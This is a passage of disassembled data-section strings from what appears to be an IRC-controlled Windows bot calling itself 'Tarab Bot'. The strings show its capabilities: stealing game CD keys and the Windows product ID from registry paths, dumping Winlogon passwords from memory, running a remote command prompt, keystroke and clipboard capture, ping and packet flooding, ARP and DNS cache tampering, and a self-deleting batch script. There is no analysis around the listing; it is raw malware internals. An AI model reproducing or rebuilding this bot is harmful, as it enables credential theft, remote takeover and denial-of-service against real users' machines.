aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 8
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 10h
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 10h
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 10h
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 10h
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0042AA14o
aCdkey db 'CDKey',0 ; DATA XREF: .data:0042AA10o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_42AA0Co
align 10h
asc_42BC20: ; DATA XREF: sub_408A63+E7o
; sub_408A63+F2o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408A63+8Fo
; sub_40EC43:loc_4133E3o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408A63+7Eo
; sub_408D2A+45o ...
align 10h
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408A63+2Bo
align 4
dword_42BC44 dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh
; DATA XREF: sub_408C12+C5o
dd 2029671Fh, 2BBBB02h
aTarabBotFilesF db ' Tarab Bot Files found: %d.',0
align 10h
dword_42BC80 dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh
; DATA XREF: sub_408C12+5Co
dd 2029671Fh, 2BBBB02h
aTarabBotSearch db ' Tarab Bot Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408D2A+107o
align 4
aS_5 db '%s\*',0 ; DATA XREF: sub_408D2A+1Ao
align 10h
dword_42BCE0 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_408E7C:loc_408FF5o
dd 2029671Fh, 2BBBB02h
aTarabBotFail_5 db ' Tarab Bot Failed to enable Debug Privilege.',0
align 10h
dword_42BD30 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_408E7C:loc_408FC8o
dd 2029671Fh, 2BBBB02h
aTarabBotUnable db ' Tarab Bot Unable to find Winlogon Process ID.',0
align 10h
dword_42BD80 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_408E7C:loc_408FC1o
dd 2029671Fh, 2BBBB02h
aTarabBotUnab_0 db ' Tarab Bot Unable to find the password in memory.',0
align 8
dword_42BDD8 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_408E7C+117o
dd 2029671Fh, 2BBBB02h
aTarabBotTheWin db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai'
db 'n: \\%S, User: (%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_408E7C+DCo
unicode 0, <USERDOMAIN>,0
align 10h
aUsername: ; DATA XREF: sub_408E7C+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408E7C+9Ao
align 10h
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408E7C+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408E7C+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_408E7C+55o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_408E7C+40o
; sub_408E7C+161o ...
align 8
dword_42BF38 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_408E7C+35o
dd 2029671Fh, 2BBBB02h
aTarabBotOnlySu db ' Tarab Bot Only supported on Windows NT/2000.',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_40904E+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_40904E+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_40904E+AFo
align 8
dword_42BFA8 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_4094A8+70o
; sub_40953F+C7o
dd 2029671Fh, 2BBBB02h
aTarabBotTheW_0 db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai'
db 'n: \\%S, User: (%S/%S).',0
align 10h
dword_42C020 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh
; DATA XREF: sub_40953F+E1o
dd 2029671Fh, 2BBBB02h
aTarabBotTheW_1 db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai'
db 'n: \\%S, User: (%S/(N/A)).',0
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409658+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409658+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409658:loc_40A293o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409658+BE6o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409658+BD9o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409658+BCCo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409658+BBFo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409658+BB2o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409658+BAAo
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409658:loc_40A1F5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409658+B68o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409658+B60o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409658:loc_40A1ABo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409658+B0Eo
align 10h
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409658+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409658+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409658+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409658:loc_40A137o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409658+AAAo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409658+AA2o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409658:loc_40A0EDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409658+A60o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409658+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409658:loc_40A0A3o
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409658+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409658+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409658+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409658+9A7o
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409658+99Ao
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409658+98Do
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409658+980o
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409658+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409658+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409658+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409658+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409658:loc_409F98o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409658+903o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409658+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409658+8EEo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409658:loc_409F39o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409658+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409658+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409658+835o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409658+828o
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409658+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409658+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409658+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409658+7F4o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409658+7E7o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409658+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409658+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409658:loc_409E19o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409658+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409658+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409658+66Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409658+661o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409658+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409658+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409658+63Ao
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409658+62Do
; .data:0042ED88o
align 4
aListen db 'listen',0 ; DATA XREF: sub_409658+620o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409658+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409658+60Bo
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409658+5F9o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409658+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409658+5DFo
align 4
aSend db 'send',0 ; DATA XREF: sub_409658+5D2o
; sub_40EC43+2196o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409658+5C5o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409658+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409658+5ABo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409658+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409658+591o
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409658+584o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409658+577o
; .data:0042F198o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409658+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_409658+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409658+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409658+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409658+536o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409658+529o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409658+51Co
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409658+50Fo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409658+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409658+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409658+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409658+476o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409658+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409658+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409658+44Fo
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409658+442o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409658+435o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409658+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409658+420o
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409658:loc_409A67o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409658:loc_409A3Fo
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409658+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409658+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409658+375o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409658+368o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_409658+35Bo
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409658+34Eo
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409658+341o
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409658:loc_409991o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409658+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409658+2FCo
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409658:loc_40994Co
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409658+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409658+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409658+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409658+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409658+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409658+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409658:loc_4098B7o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409658+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409658+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409658+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409658:loc_409850o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409658+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409658+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409658+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409658+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409658+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409658+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409658+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409658+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409658:loc_40978Do
; sub_420D8F+Do
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409658:loc_409760o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409658+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409658+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409658+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409658+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409658+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409658+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409658+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409658+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409658+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409658+2Bo
align 10h
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409658+23o
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_409658+Ao
align 10h
dword_42C960 dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40A2E5+2F2o
dd 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A863+72o
align 10h
aMirc db 'mIRC',0 ; DATA XREF: sub_40A928+5o
; sub_41599D+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40A9AA+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AA4E+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AA70+140o
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AA70+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AA70+48o
align 4
unk_42CBA8 db 2 ; DATA XREF: sub_40AC30:loc_40AD01o
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 66h
db 6Ch ; l
db 75h, 73h, 68h
db 64h ; d
db 6Eh, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNotSupportedBy db ' Not supported by this system.',0
align 4
dword_42CBE4 dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh
; DATA XREF: sub_40AC30:loc_40ACCFo
dd 2029671Fh, 2BBBB02h
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
dword_42CC24 dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh
; DATA XREF: sub_40AC30:loc_40AC85o
dd 2029671Fh, 2BBBB02h
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42CC58 db 2 ; DATA XREF: sub_40AC30+45o
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 66h
db 6Ch ; l
db 75h, 73h, 68h
db 64h ; d
db 6Eh, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
unk_42CC94 db 2 ; DATA XREF: sub_40ADB1+13Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 10h
unk_42CCD0 db 2 ; DATA XREF: sub_40ADB1+6Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42CD08 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40AF3D+1C7o
dd 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42CD44 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40AF3D+8Eo
dd 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B1BC+33o
dword_42CD8C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B243:loc_40B375o
dd 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42CDCC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B243+10Fo
dd 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42CE04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B243:loc_40B329o
dd 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 8
dword_42CE48 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B398+194o
dd 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dword_42CE8C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B398+14Co
dd 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B398+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B54D+39o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40B6ED+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B6ED+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B6ED:loc_40B851o
align 4
word_42CFCC dw 3Fh ; DATA XREF: sub_40B6ED:loc_40B7EFr
; sub_40CEA1+1Fo
align 10h
dword_42CFD0 dd 28207325h, 297325h ; DATA XREF: sub_40B6ED+EBo
dword_42CFD8 dd 3F3F3Fh ; DATA XREF: sub_40B6ED:loc_40B7B0o
; .data:loc_41594Eo
a2003 db '2003',0 ; DATA XREF: sub_40B6ED+BAo
; .data:0042EC20o
align 4
aXp db 'XP',0 ; DATA XREF: sub_40B6ED+AAo
; .data:00415939o
align 4
a2k db '2K',0 ; DATA XREF: sub_40B6ED+98o
; .data:00415929o
align 4
aMe db 'ME',0 ; DATA XREF: sub_40B6ED+7Eo
; .data:00415910o
align 10h
a98 db '98',0 ; DATA XREF: sub_40B6ED+6Co
; .data:00415900o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40B6ED+5Ao
; .data:004158F0o
align 4
a95 db '95',0 ; DATA XREF: sub_40B6ED+46o
; .data:004158E2o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40B9A1+ABo
align 4
off_42D03C dd offset loc_412F4B+3 ; DATA XREF: sub_40B9A1:loc_40BA15o
dword_42D040 dd 4E414Ch ; DATA XREF: sub_40B9A1:loc_40BA0Eo
dword_42D044 dd 6C616944h, 70752Dh ; DATA XREF: sub_40B9A1+5Eo
dword_42D04C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF: sub_40B9A1+48o
unk_42D060 db 2 ; DATA XREF: sub_40BA67:loc_40BC24o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotFail_6 db ' Tarab Bot Failed to connect to HTTP server.',0
unk_42D0A8 db 2 ; DATA XREF: sub_40BA67:loc_40BC1Do
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotCouldN db ' Tarab Bot Could not open a connection.',0
align 4
unk_42D0EC db 2 ; DATA XREF: sub_40BA67+1A6o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTarabBotInvali db ' Tarab Bot Invalid URL.',0
align 10h
unk_42D120 db 2 ; DATA XREF: sub_40BA67:loc_40BC00o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 76h ; v
db 69h, 73h, 69h
